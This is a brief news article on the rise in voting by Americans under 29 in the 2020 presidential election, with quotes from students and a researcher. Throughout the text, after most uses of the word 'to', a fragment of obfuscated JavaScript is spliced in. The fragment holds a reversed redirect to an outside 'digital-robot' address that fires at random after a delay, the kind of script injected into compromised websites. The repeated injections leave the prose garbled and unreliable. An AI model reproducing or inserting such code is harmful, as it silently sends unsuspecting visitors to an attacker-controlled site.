The Center for Information and Research on Civic Learning and Engagement estimates that 50 tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to 52 percent of eligible voters under the age of 29 cast a ballot in the 2020 presidential election. That’s nearly 10 points higher than in 2016.

“As a young person I wanted tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make my voice heard because we’re gonna be living with the consequences of any legislature’s actions for the rest of our lives,” says student Sara Parower.

While youth are known tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be politically active as young adults, their participation via voting is unprecedented.

“It’s a combination of when you’re a young adult, late adolescent young adult and starting tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to think about your world and your life and where you’re going…um…and what’s happening and so the coalescence of the histobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torical moment I think just really meant that a whole lot of young adults were just really paying attention and caring and wanting tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to stand for the principles they believed in,” says emerita professor Connie Flanagan.

Issues that drove young people tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the polls varied but many considered the planet and their status as young people when deciding who tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to vote for.

“Social justice and those issues, the environment, um…women’s rights, there’s a million issues that I think um…were really important in me in this election,” says student Ben Wolfson.

But young people did more than just vote in the election. They aimed tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make their voice heard in other ways tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}too.

“I worked at the polls. I posted on my social media a lot. Just like information about voting for students at the university and I also helped make sure all my friends were registered,” says student Emily Tomlin.

Experts are hopeful that the surge in political activism from young people is here tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to stay.

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